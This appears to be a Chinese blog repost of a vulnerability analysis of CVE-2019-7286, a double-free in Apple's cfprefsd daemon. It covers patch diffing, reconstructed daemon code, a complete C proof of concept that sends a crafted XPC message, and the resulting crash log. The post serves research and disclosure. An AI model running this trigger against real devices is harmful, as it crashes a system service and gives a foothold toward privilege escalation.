iOS/OSX漏洞分析和再現:CVE-2019-7286

来源:https://www.cnblogs.com/safoie/archive/2019/03/17/10547444.html
-Advertisement-
Play Games

macOS是全世界第一個基於FreeBSD系統採用“面向對象操作系統”的全面的操作系統,“面向對象操作系統”是史蒂夫·喬布斯(Steve Jobs)於1985年被迫離開蘋果後成立的NeXT公司所開發的。iOS是由蘋果公司開發的移動操作系統,iOS與蘋果的Mac OS X操作系統一樣,屬於類Unix的... ...


iOS 12.1.4是2019年2月8日發佈的iOS的最新版本。該版本修補了iOS上發現的四個漏洞。根據Project Zero的Ben Hawkes推文,其中至少有兩個0day還是處於在野狀態……

  • CVE-2019-7286在野外被開發利用
  • 該漏洞似乎具有嚴重的嚴重性,並且可能在重新啟動後也可能用於維持持久性
  • ZecOps能夠重現此漏洞(下麵的POC代碼)
  • 該漏洞可用於將許可權升級為root,作為iOS 12.1.3上越獄鏈的一部分。

分析CVE-2019-7286

根據Apple的描述

基礎
適用於:iPhone 5s及更高版本,iPad Air及更高版本以及iPod touch第6代
影響:應用程式可能獲得提升的許可權
說明:通過改進的輸入驗證解決了記憶體損壞問題。
CVE-2019-7286:匿名研究員,Google威脅分析組的Clement Lecigne,Google Project Zero的Ian Beer和Google Project Zero的SamuelGroß

除了在Apple的Foundation框架中修補漏洞這一事實外,該描述並未向我們提供有關漏洞性質的大量詳細信息。

在分析Foundation框架中的補丁後,二進位差異顯示iOS 12.1.4的二進位文件與iOS 12.1.3相比沒有顯著變化。下一個直接的嫌疑人是CoreFoundation,它顯示了Diaphora工具中的一些二進位差異,如下所示:

 

 

 

 

通過比較補丁,我們發現CFPrefs守護進程(cfprefsd)的實現有一些細微的變化。

此守護程式的手冊頁不太具描述性:

cfprefsd為CFPreferences和
NSUserDefaults API 提供首選項服務手動
沒有cfprefsd的配置選項

幾乎所有iOS / OS X上的軟體都會在啟動時使用CFPreferences選項,因此該守護程式中的漏洞可能對維護持久性也很有用。令人驚訝的是,目前還沒有關於此CVE的公開信息,正如人們所期望的那樣,這個漏洞在野外被積極利用。

補丁分析

OS X上也存在同樣的錯誤,這有助於ZecOps的調查和分析。在修補程式時,對cfprefsd引入了一些小的更改,但似乎最重要的修改是在以下函數中進行的: 

[CFPrefsDaemon handleMultiMessage:replyHandler:]

下麵是一段ZecOps試圖重建原始的Obj-C代碼以及補丁(粗體):

 1 @implementation CFPrefsDaemon
 2 -(void)handleMultiMessage:(xpc_object_t)xpc_dict replyHandler:(Callback)replyHandler
 3 {
 4   // ...
 5   CFPrefMessagesArr = xpc_dictionary_get_value(xpc_dict, "CFPreferencesMessages");
 6   // ...
 7   xpc_array_count = xpc_array_get_count(CFPrefMessagesArr);
 8   xpc_buffer = (__int64*)__CFAllocateObjectArray(xpc_array_count);
 9   //...
10   for( counter = 0; xpc_array_count != counter; counter++)
11   {
12     xpc_buffer[counter] = xpc_array_get_value(CFPrefMessagesArr, counter); // This method does not grant the caller a reference to the underlying object, and thus the caller is not responsible for releasing the object.
13   }
14   for( counter = 0; xpc_array_count != loop_counter ; counter++)
15   {
16     xpc_element = xpc_buffer[counter];
17     xpc_buffer[counter] = 0;           //patch fix
18     if ( xpc_get_type(xpc_element) == &_xpc_type_dictionary )
19     {
20       [self handleMessage_fromPeer_replyHandler: xpc_element fromPeer: xpc_connection replyHandler:^{
21           if (xpc_element) // patch fix
22         {
23             xpc_object_t result = xpc_retain(xpc_element); 
24             xpc_buffer[counter] = result;  
25           }              
26         }]; 
27     }
28     if ( !xpc_buffer[counter] )                //patch fix
29       xpc_buffer[counter] = xpc_null_create(); //patch fix
30   }
31   //...
32   array_from_xpc_buffer = xpc_array_create(xpc_buffer, xpc_array_count);
33   xpc_dictionary_set_value(dict_response, "CFPreferencesMessages", array_from_xpc_buffer);
34   xpc_release(array_from_xpc_buffer); 
35   for( counter = 0; xpc_array_count != counter ; counter++)
36   {
37     current_element = xpc_buffer[counter];
38     if (xpc_get_type(current_element) != &_xpc_type_null )
39         xpc_release(current_element); // first free. Double free will occur when the array CFPrefMessagesArr will be released.
40   }
41   // ...
42 }

漏洞詳細信息

handleMultiMessage:replyHandler:使用“ CFPreferencesMessages ”數組引用計數問題,該數組是xpc請求的一部分。

該函數使用xpc_array_get_value逐個將數組的對象讀入記憶體緩衝區,這不會影響引用計數。釋放緩衝區中所有元素的函數的最後一部分假定xpc對象具有所有權這通常是真實的,因為回調塊調用xpc_retain併在替換原來的對象xpc_buffer但是,如果由於精心製作的消息而未調用回調(消息正文包含消息的處理程式索引。並非所有處理程式都調用回調),則會發生雙重釋放。

具有以下鍵和值的XPC將觸發此漏洞:

1 poc_dict = {
2   "CFPreferencesOperation" = 5,
3   "CFPreferencesMessages" = [
4     {
5      "CFPreferencesOperation": 4    
6     }
7   ]
8 }

如果回調沒有更新xpc_buffer [count], Apple的補丁用xpc_null替換了原始的XPC對象因此,當xpc_null沒有要釋放的記憶體時,沒有雙重釋放條件

漏洞複製

我們能夠使用下麵的POC代碼片段重現CVE-2019-7286:

 1 #include <xpc/xpc.h>;
 2 
 3 int main(int argc, const char * argv[]) {
 4 
 5   xpc_connection_t conn = xpc_connection_create_mach_service("com.apple.cfprefsd.daemon",0,XPC_CONNECTION_MACH_SERVICE_PRIVILEGED);
 6   xpc_connection_set_event_handler(conn, ^(xpc_object_t t) {
 7     printf("got message: %sn", xpc_copy_description(t));
 8   });
 9 
10   xpc_connection_resume(conn);
11 
12   xpc_object_t hello = xpc_dictionary_create(NULL, NULL, 0);
13   xpc_dictionary_set_int64(hello, "CFPreferencesOperation", 5);
14 
15   xpc_object_t arr = xpc_array_create(NULL, 0);
16   xpc_object_t arr_elem1 = xpc_dictionary_create(NULL, NULL, 0);
17   xpc_dictionary_set_int64(arr_elem1, "CFPreferencesOperation", 4);
18 
19   xpc_array_append_value(arr, arr_elem1);
20   xpc_dictionary_set_value(hello, "CFPreferencesMessages", arr);
21   xpc_connection_send_message(conn, hello);
22   xpc_release(hello);
23   return 0;
24 }

在iOS 12.0.1上運行上述程式導致cfprefsd崩潰:

Thread 6 name:  Dispatch queue: Serving PID 7210
Thread 6 Crashed:
0   libobjc.A.dylib          0x21acd6b00  objc_object::release+ 16 
1   libxpc.dylib             0x21b73bbc0  _xpc_array_dispose + 40 
2   libxpc.dylib             0x21b73a584  _xpc_dispose + 156          
3   libxpc.dylib             0x21b7449fc  _xpc_dictionary_dispose + 204                   
4   libxpc.dylib             0x21b73a584  _xpc_dispose + 156 
5   libxpc.dylib             0x21b742418  _xpc_connection_mach_event + 872 
6   libdispatch.dylib        0x21b528544  _dispatch_client_callout4 + 16 
7   libdispatch.dylib        0x21b4df068  _dispatch_mach_msg_invoke + 340 
8   libdispatch.dylib        0x21b4cfae4  _dispatch_lane_serial_drain + 284 
9   libdispatch.dylib        0x21b4dfc3c  _dispatch_mach_invoke + 476 
10  libdispatch.dylib        0x21b4cfae4  _dispatch_lane_serial_drain + 284 
11  libdispatch.dylib        0x21b4d0760  _dispatch_lane_invoke + 432 
12  libdispatch.dylib        0x21b4d8f00  _dispatch_workloop_worker_thread + 600 
13  libsystem_pthread.dylib  0x21b70a0f0  _pthread_wqthread + 312 
14  libsystem_pthread.dylib  0x21b70cd00  start_wqthread + 4 

建議

  • 更新到最新的OS X和iOS版本。
  • 偶爾重啟iPhone / iPad(例如每天一次)以從脫離非持久性攻擊。

您的分享是我們最大的動力!

-Advertisement-
Play Games
更多相關文章
  • Linux的文件關係: / 根最大的文件夾,存儲此台電腦的所有數據 /etc 存放電腦的配置文件 /var/log 存放電腦的日誌文件 /home 家的位置 路徑:相對路徑、絕對路徑(從根下開始) Linux的命令格式: 命令 -【選項】 【路徑或參數】 註: ls 查看當前目錄下的所有文件 - ...
  • 4、Linux的安裝(Windows環境下): 1)Windows環境需要藉助虛擬機來安裝Linux系統,這個推薦使用的軟體是VMWare,官網能下載到的最新版本是Workstation Pro15.0,下載地址:https://my.vmware.com/en/web/vmware/info/sl ...
  • DC端(feiquan.com): 已經在AD中創建了一個用戶Alice: Alice用戶的關鍵信息: 其中,\\win-quan\Domain是網路共用路徑。 為了訪問方便我在\\Win-quan上共用的路徑是: 其中C:\Domain\users\Alice 已經授予了Alice用戶對文件夾的完 ...
  • 從未寫過腳本我的最近接了倆腳本的需求,就在這分享一下我的我學到基礎知識主要就四部分內容 一、變數 變數的定義 字元串可以用單引號和雙引號包裹,也可不包裹。數字話不用引號包裹的話就是一個數值。 變數也可以用來接受語句給變數賦值 上面的語句是接收filepath 下的txt.txt文檔 數組的定義 程式 ...
  • 編寫腳本實現DHCP服務與DHCP中繼自動化執行 本腳本是在liunx搭建DHCP伺服器以及DHCP中繼伺服器實驗環境下實現的https://www.cnblogs.com/yuzly/p/10539317.html 源碼如下: 1.在dhcp server端執行腳本 2.測試dhcp server ...
  • 一 前期準備1.1 前置條件至少有三個不同的主機運行monitor (MON)節點;至少三個直接存儲(非外部SAN硬體)的OSD節點主;至少兩個不同的manager (MGR)節點;如果使用CephFS,則至少有兩個完全相同配置的MDS節點;如果使用Ceph對象網關,則至少有兩個不同的RADOSGW... ...
  • 一.問題描述 本人使用的電腦安裝的是ubuntu18.10系統,使用aptitude install mysql-server命令安裝mysql時,總是無法正常安裝,無法正常配置mysql-server,導致無法使用了.百度了一下,發現沒有人遇到類似的問題,因此,我就通過查看官方文檔來手動安裝mys ...
  • ADB的全稱為Android Debug Bridge,就是起到調試橋的作用。 adb調試手機需要把usb調試打開 Android studio模擬器有的也要把模擬器usb調試打開,工具要靈活運用, 常見命令: adb start-server :開啟ADB服務 adb devices :列出所有設 ...
一周排行
    -Advertisement-
    Play Games
  • 移動開發(一):使用.NET MAUI開發第一個安卓APP 對於工作多年的C#程式員來說,近來想嘗試開發一款安卓APP,考慮了很久最終選擇使用.NET MAUI這個微軟官方的框架來嘗試體驗開發安卓APP,畢竟是使用Visual Studio開發工具,使用起來也比較的順手,結合微軟官方的教程進行了安卓 ...
  • 前言 QuestPDF 是一個開源 .NET 庫,用於生成 PDF 文檔。使用了C# Fluent API方式可簡化開發、減少錯誤並提高工作效率。利用它可以輕鬆生成 PDF 報告、發票、導出文件等。 項目介紹 QuestPDF 是一個革命性的開源 .NET 庫,它徹底改變了我們生成 PDF 文檔的方 ...
  • 項目地址 項目後端地址: https://github.com/ZyPLJ/ZYTteeHole 項目前端頁面地址: ZyPLJ/TreeHoleVue (github.com) https://github.com/ZyPLJ/TreeHoleVue 目前項目測試訪問地址: http://tree ...
  • 話不多說,直接開乾 一.下載 1.官方鏈接下載: https://www.microsoft.com/zh-cn/sql-server/sql-server-downloads 2.在下載目錄中找到下麵這個小的安裝包 SQL2022-SSEI-Dev.exe,運行開始下載SQL server; 二. ...
  • 前言 隨著物聯網(IoT)技術的迅猛發展,MQTT(消息隊列遙測傳輸)協議憑藉其輕量級和高效性,已成為眾多物聯網應用的首選通信標準。 MQTTnet 作為一個高性能的 .NET 開源庫,為 .NET 平臺上的 MQTT 客戶端與伺服器開發提供了強大的支持。 本文將全面介紹 MQTTnet 的核心功能 ...
  • Serilog支持多種接收器用於日誌存儲,增強器用於添加屬性,LogContext管理動態屬性,支持多種輸出格式包括純文本、JSON及ExpressionTemplate。還提供了自定義格式化選項,適用於不同需求。 ...
  • 目錄簡介獲取 HTML 文檔解析 HTML 文檔測試參考文章 簡介 動態內容網站使用 JavaScript 腳本動態檢索和渲染數據,爬取信息時需要模擬瀏覽器行為,否則獲取到的源碼基本是空的。 本文使用的爬取步驟如下: 使用 Selenium 獲取渲染後的 HTML 文檔 使用 HtmlAgility ...
  • 1.前言 什麼是熱更新 游戲或者軟體更新時,無需重新下載客戶端進行安裝,而是在應用程式啟動的情況下,在內部進行資源或者代碼更新 Unity目前常用熱更新解決方案 HybridCLR,Xlua,ILRuntime等 Unity目前常用資源管理解決方案 AssetBundles,Addressable, ...
  • 本文章主要是在C# ASP.NET Core Web API框架實現向手機發送驗證碼簡訊功能。這裡我選擇是一個互億無線簡訊驗證碼平臺,其實像阿裡雲,騰訊雲上面也可以。 首先我們先去 互億無線 https://www.ihuyi.com/api/sms.html 去註冊一個賬號 註冊完成賬號後,它會送 ...
  • 通過以下方式可以高效,並保證數據同步的可靠性 1.API設計 使用RESTful設計,確保API端點明確,並使用適當的HTTP方法(如POST用於創建,PUT用於更新)。 設計清晰的請求和響應模型,以確保客戶端能夠理解預期格式。 2.數據驗證 在伺服器端進行嚴格的數據驗證,確保接收到的數據符合預期格 ...